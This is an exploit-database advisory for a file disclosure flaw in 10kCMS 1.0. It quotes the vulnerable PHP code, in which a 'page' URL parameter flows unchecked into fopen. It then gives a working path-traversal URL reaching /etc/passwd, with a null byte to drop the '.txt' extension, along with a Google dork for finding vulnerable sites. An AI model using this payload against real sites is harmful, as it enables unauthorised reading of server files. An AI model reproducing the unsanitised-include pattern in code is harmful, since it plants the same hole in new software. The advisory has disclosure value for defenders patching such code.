Home / os / win7

10kCMS File Disclosure Vulnerability

Posted on 17 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>10kCMS File Disclosure Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>==================================== 10kCMS File Disclosure Vulnerability ==================================== # Author: pimpim # Software Link: http://www.10kcms.com/?page=download # Version: 1.0 # Category: webapps # Google dork: Generated by 10kCMS # Tested on: Linux #Vulnerable code: //Load filename from URL if (isset($_GET['page']) &amp;&amp; (file_exists($_GET['page'].'.txt'))) //If the url contains an existing filename { $filename = $_GET['page'].'.txt'; //Load it } else { $filename = 'index.txt'; //Otherwise, default to index.txt $htmltitle= 'Home'; } //Load in the file contents $fp = fopen($filename,&quot;r&quot;); #Exploit: http://localhost/...path.../?page=../../../../../etc/passwd%00 Null byte must be used to strip off the &quot;.txt&quot; extension # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-17]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP